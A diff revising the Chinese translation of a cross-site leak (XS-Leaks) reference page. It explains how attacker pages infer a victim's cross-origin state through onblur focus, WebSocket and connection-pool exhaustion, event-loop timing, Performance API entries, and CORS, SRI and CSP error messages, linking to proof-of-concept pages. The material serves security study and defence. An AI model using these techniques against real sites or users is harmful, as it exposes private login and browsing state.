如果第一个 URL **成功加载**,那么,当**更改** URL 的**hash**部分时,**onload** 事件**不会再次触发**。但是**如果**页面在**加载**时出现某种**错误**,那么**onload** 事件将**再次触发**。
如果第一个 URL **成功加载**,那么,当**更改** URL 的**hash**部分时,**onload** 事件**不会再次触发**。但是**如果**页面在**加载**时出现某种**错误**,那么**onload** 事件将**再次触发**。
然后,您可以**区分**正确加载的页面或访问时出现**错误**的页面。
然后,您可以**区分**一个**正确**加载的页面或访问时出现**错误**的页面。
### Javascript Execution
- **Inclusion Methods**: Frames
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**:
- **Summary:** 如果**页面**返回**敏感**内容,**或**用户可以**控制**的**内容**。用户可以在负面情况下设置**有效的 JS 代码**,并在每次尝试中加载**`<script>`** 标签,因此在**负面**情况下攻击者的**代码**会被**执行**,而在**肯定**情况下**什么**都不会被执行。
- **Summary:** 如果**页面**返回**敏感**内容,**或**用户可以**控制**的**内容**。用户可以在**负面情况下**设置**有效的 JS 代码**,并在每次尝试中使用**`<script>`** 标签加载,因此在**负面**情况下攻击者的**代码**会被**执行**,而在**肯定**情况下**什么**都不会被执行。
- **Code Example:**
{{#ref}}
@ -162,7 +162,7 @@ xs-search/javascript-execution-xs-leak.md
### CORB - Onerror
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 状态码 & 头部
- **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **跨源读取阻止 (CORB)** 是一种安全措施,防止网页加载某些敏感的跨源资源,以保护免受**Spectre**等攻击。然而,攻击者可以利用其保护行为。当受**CORB**保护的响应返回带有 `nosniff`_**CORB 保护**_ `Content-Type``2xx` 状态码时,**CORB** 会剥离响应的主体和头部。观察到这一点的攻击者可以推断出**状态码**(指示成功或错误)和 `Content-Type`(表示是否受**CORB**保护)的组合,从而导致潜在的信息泄露。
- **Code Example**:
@ -172,120 +172,120 @@ xs-search/javascript-execution-xs-leak.md
### onblur
- **Inclusion Methods**: Frames
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Summary**: 从 id 或 name 属性泄露敏感数据。
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
可以**在一个 iframe****加载一个页面**并使用**`#id_value`**使页面**聚焦于**指定的 iframe 元素,如果触发了**`onblur`**信号,则 ID 元素存在。\
您可以使用**`portal`**标签执行相同的攻击。
可以**在一个 iframe 中加载一个页面**并使用**`#id_value`**使页面**聚焦于**指定的 iframe 元素,如果触发了**`onblur`**信号,则 ID 元素存在。\
您可以使用**`portal`** 标签执行相同的攻击。
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API 使用
- **Detectable Difference**: API Usage
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Summary**: 从 postMessage 收集敏感信息或使用 postMessages 的存在作为 oracle 来了解用户在页面上的状态
- **Summary**: 从 postMessage 收集敏感信息或使用 postMessages 的存在作为一个 oracle 来了解用户在页面上的状态
- **Code Example**: `任何监听所有 postMessages 的代码。`
应用程序经常利用 [`postMessage` 广播](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) 在不同源之间进行通信。然而,如果 `targetOrigin` 参数未正确指定,方法可能会无意中暴露**敏感信息**,允许任何窗口接收消息。此外,接收消息的行为本身可以充当**oracle**;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或缺失可以揭示有关用户状态或身份的信息,例如他们是否经过身份验证。
应用程序经常利用 [`postMessage` 广播](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) 在不同源之间进行通信。然而,如果 `targetOrigin` 参数未正确指定,这种方法可能会无意中暴露**敏感信息**,允许任何窗口接收消息。此外,接收消息的行为本身可以充当一个**oracle**;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或缺失可以揭示有关用户状态或身份的信息,例如他们是否经过身份验证。
## Global Limits Techniques
### WebSocket API
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API 使用
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: 耗尽 WebSocket 连接限制会泄露跨源页面的 WebSocket 连接数量。
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
可以识别目标页面使用了多少个**WebSocket 连接**。这使攻击者能够检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。
可以识别目标页面使用的**WebSocket 连接**的数量。这使攻击者能够检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。
如果一个**源**使用**最大数量的 WebSocket**连接对象,无论其连接状态如何,创建**新对象将导致 JavaScript 异常**。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是目标网站使用的**WebSocket 连接数量**。
如果一个**源**使用**最大数量的 WebSocket**连接对象,无论其连接状态如何,创建**新对象将导致 JavaScript 异常**。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是**目标网站**窗口使用的**WebSocket 连接数量**。
### Payment API
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API 使用
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: 检测支付请求,因为一次只能激活一个
- **Summary**: 检测支付请求,因为一次只能有一个处于活动状态
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
此 XS-Leak 使攻击者能够**检测跨源页面何时发起支付请求**。
因为**一次只能激活一个支付请求**,如果目标网站使用支付请求 API任何进一步尝试使用此 API 的请求将失败,并导致**JavaScript 异常**。攻击者可以通过**定期尝试显示支付 API UI**来利用这一点。如果一次尝试导致异常,则目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。
因为**一次只能有一个支付请求处于活动状态**,如果目标网站使用支付请求 API任何进一步尝试使用此 API 的请求将失败,并导致**JavaScript 异常**。攻击者可以通过**定期尝试显示支付 API UI**来利用这一点。如果一次尝试导致异常,则目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: 定时(通常由于页面内容、状态码)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Summary:** 测量网络执行时间,利用单线程 JS 事件循环。
- **Summary:** 测量网络执行时间,利用单线程 JS 事件循环。
- **Code Example**:
{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行所需的时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行所需的时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。
> [!WARNING]
> 在执行时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
> 在执行时间测量中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载使用的资源。
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: 定时(通常由于页面内容、状态码)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** 一种测量网络操作执行时间的方法是故意阻塞线程的事件循环,然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,并且可以提供对共享同一线程的其他操作的性能或行为的洞察。
- **Code Example**:
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过**站点隔离**。**站点隔离**是一种安全功能,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过通过共享事件循环影响另一个源的执行定时,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过**站点隔离**。**站点隔离**是一种安全功能,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过影响通过共享事件循环的另一个源的执行时间,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问另一个源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
> [!WARNING]
> 在执行时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
> 在执行时间测量中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载使用的资源。
### Connection Pool
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: 定时(通常由于页面内容、状态码)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** 攻击者可以锁定所有套接字,除了 1 个,加载目标网页,同时加载另一个页面,最后一个页面开始加载的时间就是目标页面加载所需的时间。
- **Summary:** 攻击者可以锁定所有套接字,除了 1 个,加载目标网页,同时加载另一个页面,直到最后一个页面开始加载的时间就是目标页面加载所需的时间。
- **Code Example**:
{{#ref}}
xs-search/connection-pool-example.md
{{#endref}}
浏览器利用套接字进行服务器通信,但由于操作系统和硬件的资源有限,**浏览器被迫施加限制**,限制并发套接字的数量。攻击者可以通过以下步骤利用这一限制:
浏览器利用套接字进行服务器通信,但由于操作系统和硬件的资源有限,**浏览器被迫对并发套接字的数量施加限制**。攻击者可以通过以下步骤利用这一限制:
1. 确定浏览器的套接字限制例如256 个全局套接字。
2. 通过向不同主机发起 255 个请求,长时间占用 255 个套接字,旨在保持连接开放而不完成。
3. 使用第 256 个套接字向目标页面发送请求。
4. 尝试向不同主机发起第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3此请求将被排队直到有套接字可用。此请求进行之前的延迟为攻击者提供了与第 256 个套接字(目标页面的套接字)相关的网络活动的时信息。这种推断是可能的,因为步骤 2 中的 255 个套接字仍在使用,这意味着任何新可用的套接字必须是从步骤 3 中释放的。第 256 个套接字变为可用所需的时间因此直接与请求完成所需的时间相关联。
4. 尝试向不同主机发起第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3此请求将被排队直到有套接字可用。此请求进行之前的延迟为攻击者提供了与第 256 个套接字(目标页面的套接字)相关的网络活动的时信息。这种推断是可能的,因为步骤 2 中的 255 个套接字仍在使用,这意味着任何新可用的套接字必须是从步骤 3 中释放的。第 256 个套接字变为可用所需的时间因此直接与请求完成所需的时间相关联。
有关更多信息:[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
有关更多信息,请访问[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Connection Pool by Destination
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: 定时(通常由于页面内容、状态码)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**:
- **Summary:** 这与前一种技术类似,但 Google **Chrome** 对**同一源的并发请求**设置了**6 个限制**。如果我们**阻塞 5**,然后**发起第 6 个**请求,我们可以**计时**,如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测**页面**的**状态**,第 **6 个请求**将需要**更长时间**,我们可以检测到。
- **Summary:** 这与前一种技术类似,但 Google **Chrome** 对**同一源的并发请求**设置了**6 个限制**。如果我们**阻塞 5**,然后**发起第 6 个**请求,我们可以**计时**,如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测页面的**状态**,第 **6 个请求**将需要**更长时间**,我们可以检测到。
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察,进一步通过 [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求时序成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时,诸如传输大小和域查找时间等附加数据将变得可用。
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察,进一步通过 [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求时序成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时,传输大小和域查找时间等附加数据将变得可用。
这些数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索提供全面的性能相关信息。此外API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于 Chrome 等浏览器中的某些操作,`performance.now()` 的精度可能仅限于毫秒,这可能会影响时测量的粒度。
这些数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索,提供全面的性能相关信息。此外,API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于 Chrome 等浏览器中的某些操作,`performance.now()` 的精度可能仅限于毫秒,这可能会影响时测量的粒度。
除了定时测量外,性能 API 还可以用于安全相关的洞察。例如Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体而言,如果由于 `X-Frame-Options` 阻止页面在框架中呈现,则该页面将不会记录`performance` 对象中,从而提供有关页面框架策略的微妙线索。
除了时间测量外Performance API 还可以用于安全相关的洞察。例如Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体而言,如果由于 `X-Frame-Options` 阻止页面在框架中呈现,则不会在 `performance` 对象中记录该页面,从而提供有关页面框架策略的微妙线索。
### Error Leak
- **Inclusion Methods**: Frames, HTML Elements
- **Detectable Difference**: 状态码
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 结果为错误的请求不会创建资源计时条目。
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
@ -295,17 +295,17 @@ xs-search/connection-pool-example.md
### Style Reload Error
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 状态码
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 由于浏览器错误,导致错误的请求被加载两次。
- **Summary:** 由于浏览器错误,导致错误的请求被加载两次。
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
在前一种技术中,还识别出浏览器中的两个错误情况,导致**资源在加载失败时被加载两次**。这将导致性能 API 中出现多个条目,因此可以被检测到。
在前一种技术中,还识别出浏览器 GC 中的两个案例,导致**资源在加载失败时被加载两次**。这将导致性能 API 中出现多个条目,因此可以被检测到。
### Request Merging Error
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 状态码
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 导致错误的请求无法合并。
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
@ -315,48 +315,48 @@ xs-search/connection-pool-example.md
### Empty Page Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 空响应不会创建资源计时条目。
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
攻击者可以检测请求是否导致空 HTTP 响应体,因为**空页面在某些浏览器中不会创建性能条目**。
攻击者可以检测请求是否导致空 HTTP 响应体,因为**空页面在某些浏览器中不会创建性能条目**。
### **XSS-Auditor Leak**
- **Inclusion Methods**: Frames
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 在安全声明中使用 XSS 审计器,攻击者可以通过观察在构造有效负载触发审计器过滤机制时响应的变化来检测特定网页元素
- **Summary:** 在安全声明中使用 XSS 审计器,攻击者可以通过观察响应的变化来检测特定网页元素,当构造的有效负载触发审计器的过滤机制时
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
在安全声明 (SA) 中XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除,但在 SA 中仍然存在。2013 年Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks最初由 Terada 报告,并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
在安全声明 (SA) 中XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除,但在 SA 中仍然存在。2013 年Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks最初由 Terada 报告,并在 Heyes 的博客中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
### X-Frame Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: 头部
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Summary:** 带有 X-Frame-Options 头的资源不会创建资源计时条目。
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
如果页面**不允许**在**iframe**中**呈现**,则不会**创建性能条目**。因此,攻击者可以检测响应头**`X-Frame-Options`**。\
使用**embed**标签时也是如此。
如果使用**embed** **标签**,情况也是如此。
### Download Detection
- **Inclusion Methods**: Frames
- **Detectable Difference**: 头部
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 下载不会在性能 API 中创建资源计时条目。
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
与描述的 XS-Leak 类似,由于 ContentDisposition 头,**下载的资源**也**不会创建性能条目**。技术在所有主要浏览器中均有效。
与描述的 XS-Leak 类似,由于 ContentDisposition 头,**下载的资源**也**不会创建性能条目**。技术在所有主要浏览器中均有效。
### Redirect Start Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: 重定向
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 资源计时条目泄露重定向的开始时间。
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
@ -366,7 +366,7 @@ xs-search/connection-pool-example.md
### Duration Redirect Leak
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: 重定向
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 当发生重定向时,计时条目的持续时间为负。
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
@ -376,7 +376,7 @@ xs-search/connection-pool-example.md
### CORP Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: 头部
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 受 CORP 保护的资源不会创建资源计时条目。
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
@ -386,30 +386,30 @@ xs-search/connection-pool-example.md
### Service Worker
- **Inclusion Methods**: Frames
- **Detectable Difference**: API 使用
- **Detectable Difference**: API Usage
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Summary:** 检测特定源是否注册了服务工作者。
- **Code Example**:
服务工作者是事件驱动的脚本上下文,在一个源上运行。它们在网页的后台运行,可以拦截、修改和**缓存资源**以创建离线 Web 应用程序。\
如果通过**iframe**访问**服务工作者**缓存的**资源**该资源将从**服务工作者缓存**中**加载**。\
要检测资源是否从**服务工作者**缓存中加载,可以使用**性能 API**。\
这也可以通过时攻击来完成(有关更多信息,请查看论文)。
如果通过**iframe**访问**服务工作者**缓存的**资源**,该资源将从**服务工作者缓存**中**加载**。\
要检测资源是否从**服务工作者**缓存中**加载**,可以使用**性能 API**。\
这也可以通过时攻击来完成(有关更多信息,请查看论文)。
### Cache
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: 定时
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **Summary:** 可以检查资源是否存储在缓存中。
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
使用 [性能 API](xs-search.md#performance-api) 可以检查资源是否被缓存。
使用 [Performance API](xs-search.md#performance-api) 可以检查资源是否被缓存。
### Network Duration
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
- **Summary:** 可以从 `performance` API 中检索请求的网络持续时间。
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
@ -419,7 +419,7 @@ xs-search/connection-pool-example.md
### Media Error
- **Inclusion Methods**: HTML Elements (Video, Audio)
- **Detectable Difference**: 状态码
- **Detectable Difference**: Status Code
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Summary:** 在 Firefox 中,可以准确泄露跨源请求的状态码。
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
- **总结:** 在安全声明 (SA) 中CORS 错误消息无意中暴露了重定向请求的完整 URL。
- **代码示例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
此技术使攻击者能够通过利用 Webkit 基于浏览器处理 CORS 请求的方式来**提取跨源站点重定向的目标**。具体而言,当向目标站点发送一个**启用 CORS 的请求**,该站点根据用户状态发出重定向,而浏览器随后拒绝该请求时**重定向目标的完整 URL** 会在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
此技术使攻击者能够通过利用 Webkit 基于浏览器处理 CORS 请求的方式**提取跨源站点重定向的目标**。具体来说,当向一个根据用户状态发出重定向的目标站点发送 **CORS 启用请求** 时,如果浏览器随后拒绝该请求**重定向目标的完整 URL** 会在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何 **敏感查询参数**
### SRI 错误
@ -490,7 +490,7 @@ audioElement.onerror = errHandler
- **总结:** 在安全声明 (SA) 中CORS 错误消息无意中暴露了重定向请求的完整 URL。
- **代码示例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
攻击者可以利用**详细的错误消息**来推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性来验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是**启用 CORS 的**;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意**触发此错误**,通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
攻击者可以利用 **详细的错误消息** 来推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性来验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是 **CORS 启用的**;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意 **触发此错误**,通过将 **虚假的哈希值** 分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
### CSP 违规/检测
@ -500,8 +500,8 @@ audioElement.onerror = errHandler
- **总结:** 如果我们访问的受害者网站尝试重定向到不同的域CSP 将触发可检测的错误。
- **代码示例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak 可以用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者网站上允许目标域**。一旦向目标域发出请求,它**重定向**到一个跨源域。**CSP 阻止**对其的访问并创建一个**违规报告作为泄漏技术**。根据浏览器的不同,**此报告可能泄漏重定向的目标位置**。\
